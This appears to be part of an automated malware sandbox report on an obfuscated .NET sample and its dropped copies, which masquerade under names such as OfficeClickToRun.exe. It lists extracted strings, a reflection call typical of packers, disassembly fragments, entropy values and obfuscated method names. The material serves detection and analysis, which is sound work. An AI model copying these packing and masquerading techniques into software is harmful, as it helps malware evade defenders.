Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000385E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: eC:/Users/user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000385E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \|C:/Users/user\AppData\Local\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000385E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: gC:/Users/user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000385E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: yC:/Users/user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wC:/Users/user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: }C:/Users/user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: hC:/Users/user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: kC:/Users/user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000385E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000003042000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: FYKrlfQrxb.exe, nxldDLQCqrL7oDiEegc.cs

.Net Code: Type.GetTypeFromHandle(NWlereXuvlfFFrhsbPN.UMdZ7XdYVXo(16777425)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(NWlereXuvlfFFrhsbPN.UMdZ7XdYVXo(16777246)),Type.GetTypeFromHandle(NWlereXuvlfFFrhsbPN.UMdZ7XdYVXo(16777260))})

Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Code function: 0_2_00007FFD9B7D93D1 push ds; ret	0_2_00007FFD9B7D93D8
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Code function: 0_2_00007FFD9B7D934C push ds; ret	0_2_00007FFD9B7D934D
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Code function: 0_2_00007FFD9B7D08E8 push FFFFFFE9h; ret	0_2_00007FFD9B7D0909
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Code function: 0_2_00007FFD9B7D00AD pushad ; iretd	0_2_00007FFD9B7D00C1
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Code function: 0_2_00007FFD9B97CC6C push E8FFFFFFh; retf	0_2_00007FFD9B97CC71
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Code function: 5_2_00007FFD9BA008E8 push FFFFFFE9h; ret	5_2_00007FFD9BA00909
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Code function: 5_2_00007FFD9BAE6048 pushad ; retf	5_2_00007FFD9BAE6049
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Code function: 5_2_00007FFD9BBA581C push ecx; ret	5_2_00007FFD9BBA582A
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Code function: 5_2_00007FFD9BBACC6C push E8FFFFFFh; retf	5_2_00007FFD9BBACC71
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Code function: 5_2_00007FFD9BF551EB push esp; iretd	5_2_00007FFD9BF551EC
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Code function: 5_2_00007FFD9BF55230 push esp; iretd	5_2_00007FFD9BF55231

Source: FYKrlfQrxb.exe	Static PE information: section name: .text entropy: 7.5293595147541605
Source: OfficeClickToRun.exe.0.dr	Static PE information: section name: .text entropy: 7.5293595147541605
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe.0.dr	Static PE information: section name: .text entropy: 7.5293595147541605
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe0.0.dr	Static PE information: section name: .text entropy: 7.5293595147541605
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe1.0.dr	Static PE information: section name: .text entropy: 7.5293595147541605

Source: FYKrlfQrxb.exe, md0A5sjabvTGpnTaUTx.cs	High entropy of concatenated method names: 'obWjgEs3ew', 'hIlhqiN6SbhWYA1dxnNn', 'pTBNwKN6nXw8bmWgT94U', 'vVFCyxN6jicEBIJbksfn', 'zvMmNdN6mxUJoU1qbeYK', 'dQrlJXN6q1XaWdCIuVVd', 'UU8', 'd65', 'P1JNpxJBR3s', 'YrsNp2Pr3Ap'
Source: FYKrlfQrxb.exe, hrULpOEykYLO99noEjW.cs	High entropy of concatenated method names: 'pFfEUwxw1Z', 'zGIEgONEgS', 'XUaEPawOHG', 'jClEMeKaid', 'FqaEAMJLbB', 'I0DpudN3qcab9nK893UL', 'NGsmH7N3kkAYMyuauh1n', 'S3vSeON3xUcapVW0l5pn', 'LRWNE2N3S6bdiWQiCYcF', 'BNCP5pN3mkMyxNx4XMuP'
Source: FYKrlfQrxb.exe, maJiV63dt092OmjvYG6.cs	High entropy of concatenated method names: 'vi03IKH4Qc', 'M2V3sDZN7L', 'h4t3wPyD0w', 'oS53QdfDPv', 'HPM3cDb5If', 'WTP3XsfGjM', 'VLB3Fbws5y', 'FNX3zeDcel', 'gZN0KuyTLJ', 'VIg0N6PbCq'
Source: FYKrlfQrxb.exe, hYBxtjxfUnmRS1wD7xs.cs	High entropy of concatenated method names: 'WLPxs0jn6V', 'IsqxwVJ2Sa', 'xYgxQfiqKO', 'pUYxcgG0KB', 'lX0xXooW83', 'EfZrb0NU6KkDN26BCYQg', 'vLoA9rNUhUjbbTcUd3rF', 'g6pIY3NUtSrAIVFeZKCI', 'zePjARNUyJ65UTeRPWiQ', 'ejCkLjNULcbKArukcxR1'
Source: FYKrlfQrxb.exe, txAEwY7onLTOIOLlsAv.cs	High entropy of concatenated method names: 'r8V7cQwcFy', 'kYh7X7nWbc', 'HghjlxNbPXwJ65d5FbHH', 'a17Cu1NbUmPwyN7Rye6o', 'iQGPcjNbgqnx0y3mCf2l', 'LoeaGvNbMPSfo4NR7Qie', 'ogrVNfldF8', 'ii7saDNbobGFsnfsasXM', 'rd1vhlNb8W6CJcbrhkjV', 'myssS0Nb5ZhX5y2FGQam'
Source: FYKrlfQrxb.exe, LetrMIfkhSPXgsTSfgr.cs	High entropy of concatenated method names: 'inpNVyf0nkU', 'EWdNVLpsqa6', 'fqsNVURyB3V', 'A2erPnNQBiwIaji1gyIO', 'btvbMjNQi2ySbSN80guB', 'mIMD1qNQ1jq3LdgmcJSJ', 'KlZxdENQGiXTE8JkC3mI', 'ScXNnof843v', 'EWdNVLpsqa6', 'ULcV48NQDRvWxQlAorp7'
Source: FYKrlfQrxb.exe, dBL1RiSjIChVVivbt6f.cs	High entropy of concatenated method names: 'kPZSxePPQY', 'QP9v3yN6d2tqYOFuYwi6', 'Hvlk75N63lR4d6f1mTo2', 'l3CdhTN60uxnLDWuOBAd', 's6QdYeN6fkOm5DnvuWq9', 'irNGHMN6Ig6ErwegCc3S', '_53Y', 'd65', 'qV8Np1hldPA', 'tgtNpBHSqtH'
Source: FYKrlfQrxb.exe, zjLTGySrnN3ZJWixGLS.cs	High entropy of concatenated method names: '_5t1', 'd65', 'DZ2NpTduaT4', 'nUHNpeOxLtm', 'noqSuGe7TP', 'x6eNn487QVp', 'cTRNpKtw7t5', 'u0I5i6N6wsU6GKjLwthb', 'sw6Af6N6QT3exdvhlFe5', 'G5oEJWN6c8MJ0TJT8wox'
Source: FYKrlfQrxb.exe, M11TPqZrKDWxT9Qj95U.cs	High entropy of concatenated method names: 'ccCZu8XXhU', 'fnOZ9Rnetr', 'O3suB2NOzZLVfy9PQk4g', 'xRO8SLNOXaHRrgcPpWth', 'Wj8STCNOFEEtY57FnOxs', 'lWReYCNDKadxPDaicjQ5', 'UJsWFbNDNCS0B7x1tfSO', 'JDB1TlNDZHqkT8sWmBuB', 'cHk2WQNDvYRLVODjo9RE'
Source: FYKrlfQrxb.exe, cFFnSevYJBbADbF7O2T.cs	High entropy of concatenated method names: 'kSpvfkaMaO', 'iw5PYWNELp61fAZwefvS', 't3nHFVNE66MfwrcqgiYN', 'puM7IyNEyv12GAVqj3yS', 'mn5A5KNEUyWxsIrUb27E', 'T86v0R9TnR', 'pyq8tPNEaU7NgeNb3Ips', 'EtgfUQNEbZ6UPe2rN5U5', 'QAE4bMNE4ERmEyJMIkrd', 'FkIKvkNED8UPRup8WLtc'
Source: FYKrlfQrxb.exe, DyE35FjsUXOjPtot02K.cs	High entropy of concatenated method names: '_46E', 'd65', 'd28jQVawso', 'lCQNnEQV05o', 'cTRNpKtw7t5', 'mFTjcMprDm', 'ytwsjtN6GjoOlZtITBQS', 'EgY4DHN6TpDvys5lGuQd', 'JIrbnLN61RxfWTbYO5Xs', 'EsdPlYN6BdbJgVbEDmsI'
Source: FYKrlfQrxb.exe, stWhIpjibM9HGBT344E.cs	High entropy of concatenated method names: '_64Z', 'd65', 'Ir4NnGVmnli', 'cTRNpKtw7t5', 'ODsjBqHHSk', 'd2ESWCNtdxX6mu6J9GAF', 'H5k24VNtfnp4vMSIgkGT', 'hiX1pUNtItxAmDXFZ0Qu', 'LWytLXNtsZepPr2hObvg', 'DixyxCNtw7bYe8kpyfxa'
Source: FYKrlfQrxb.exe, OXfRONvXThkSNrGTRBr.cs	High entropy of concatenated method names: 'yxxp2uVnxg', 'dEvsq6NaqUmq5IQmTeSN', 'KdVpU2NakDCxLSnnfVQ2', 'fQ5LKxNaSjZ1wuOkmfPs', 'L0pfHuNamjGRehCOkU21', 'oyRGogNalvY8DKmY5KMp', 'nIqIHQNa2LrWBfRg1kvp', 'wef6oONargvVuKtPtN5h', 'vQUkKtNauNpajfd4m0y0', 'YrspifyIq9'
Source: FYKrlfQrxb.exe, xnGbyqmEnZEixQtbBsx.cs	High entropy of concatenated method names: 'p2LkWiXFL3', 'Dbv26QNL8FdoaR7pjDTJ', 'rMyTL6NLMVWxGqMMxuJK', 'XQh89QNLAEpHFVTNYNhn', 'mtLNJkNL5S2MgKqdJn4y', 'H0rmbnF3u2', 't6Cm4jrYs9', 'YEJmhUGdJU', 'yT4mtvGfiO', 'hE5m6elfZX'
Source: FYKrlfQrxb.exe, CZxVmY2WSWRdrFu9ACB.cs	High entropy of concatenated method names: 'Cj1', '_1Td', 'Cz6', 'ht3', 'i2J2CKSg3R', '_947', 'XJq2RBQbH4', 'lVr2iRjRkn', '_1f8', '_71D'
Source: FYKrlfQrxb.exe, bBes3fyP19sex3byZXc.cs	High entropy of concatenated method names: 'taDyAT0CRg', 'R2Ky8G8SBi', 'C5Ay5re88o', 'z8TyoedHT5', 'aH2yY1GhX9', 'ecey3b4BXd', 'mKky02wGDC', 'BfBydqZBHM', 'jX8yfEWGqE', 'F40yIanjCT'
Source: FYKrlfQrxb.exe, R9n61ZOfQUVH7UIE6MU.cs	High entropy of concatenated method names: 'KtuOsbLj7s', 'tShOwldZGI', 'cSYOQIis3p', 'MpYOc6Oibi', 'XFaOXHAqX0', 'TyyOFZ1Cj9', 'biIOzenjJ1', 'nrYDKOEx2g', 'JMMDN35Dd7', 'oCfDZyIxoG'
Source: FYKrlfQrxb.exe, MqBKO0rzpmoRsY8FcpK.cs	High entropy of concatenated method names: '_26K', '_1U7', '_5gR', '_58D', 'H8v', 'rITlNh9Lai', 'KEclZ65D0A', 'gY2', 'rV4', '_28E'
Source: FYKrlfQrxb.exe, gs1G4cvtL6UYQTAkNDw.cs	High entropy of concatenated method names: 'sNHvy3nsTG', 'dNhvL42fIN', 'KLEvUJnUdE', 'akEvgbjtZH', 'SvmvPqKDto', 'JKyvMbuor4', 'hI9vAvrpxs', 'o9Lv8vN2EB', 'j00v5WHrBx', 'MgTvon0iIk'
Source: FYKrlfQrxb.exe, hanfCVIF2MKUq5lZ6fY.cs	High entropy of concatenated method names: 'ROcsZKpmnd', 'sgjsvti5A1', 'Deus8kNcT9AI1KxP2Fyt', 'JIsg8uNce54ACr0kpCM7', 'DJIqHSNcOynl7fdlbb7u', 'EfJ6P3NcDMYb1IeJ687G', 'JTcxCkNcEvYH4TNBHBIF', 'zrDsKdLwaI', 'VVeTc7NciW66mgukbHsX', 'chg72FNc1dYjWpZsTjut'
Source: FYKrlfQrxb.exe, vPGwBmOvL9YXPPR6mOT.cs	High entropy of concatenated method names: 'f3aO7KVinv', 's4uOVY0TOs', 'kaIOJDivGI', 'LCROnkX0jE', 'VUROjYnErB', 'IpagV3N5YppISikqtwdg', 'sAy42ON537sYaoZgeMrZ', 'KyImtFN50trcjrj0yAyY', 'PTPDL1N5dWo6QwZcekTw', 'TykKwXN5fslD1YZ9tmHH'
Source: FYKrlfQrxb.exe, WZ0tjGaKD3seZQcVoIQ.cs	High entropy of concatenated method names: 'a4Q', '_6h5', '_4fY', '_32D', 'j7E', 'Lr9', '_7ik', '_9X3', 'g6m', '_633'
Source: FYKrlfQrxb.exe, m7TATr4iQXXUUJgH0aX.cs	High entropy of concatenated method names: 'NH0hr9WbJj', 'KLNGLWN05aM0aO8dQ3Ok', 'oavU1xN0AMghkfRTFuyA', 'g79KsmN08wbkRTBLAF16', 'Op9q91N0okUto9O8Yoyu', 'i5X', 'ucs4Btr9K1', 'W93', 'L67', '_2PR'
Source: FYKrlfQrxb.exe, qJ1d1kS4t4NGXGNp8dD.cs	High entropy of concatenated method names: 'Yi3', 'jVdNnh96eYA', 'SByStq1R1L', 'PkMNntcDcfM', 'AsrwTeNy2VUrOARbDZws', 'AQKBh1NyrwFLURHJnQ4j', 'bhJEkoNykEWonq2mB8HN', 's4n7ScNyxOawoQXCdqZ9', 'Mm8fJDNylQqrYeDwjBZh', 'qYsn7CNyuD1pu45veRKy'
Source: FYKrlfQrxb.exe, CvHkjQhYApO7WgNvZWQ.cs	High entropy of concatenated method names: '_25r', 'h65', 'Dydh0ROHtl', 'nD1hdeLcKW', 'JmNhfyQhWY', 'AWD', 'd78', 'A6v', 'dqG', 'M96'
Source: FYKrlfQrxb.exe, y9odAQVJjr1VWkYSnCR.cs	High entropy of concatenated method names: 'muMVHb4AGQ', 'nc3VCbktkn', 'U6dIaYN4nElygA3Fcd8r', 'b29dWyN4jl3YdErqWxVh', 'w1dwtaN4V7ag6WXgFY7f', 'yCBlGGN4JwrDvoVg56xL', 'Kl0Vu2SsHN', 'YfCV9xhlY2', 'iPAPMVN4vLUQHu4xpna5', 'LE3gRGN4NUHDkydxKUi6'
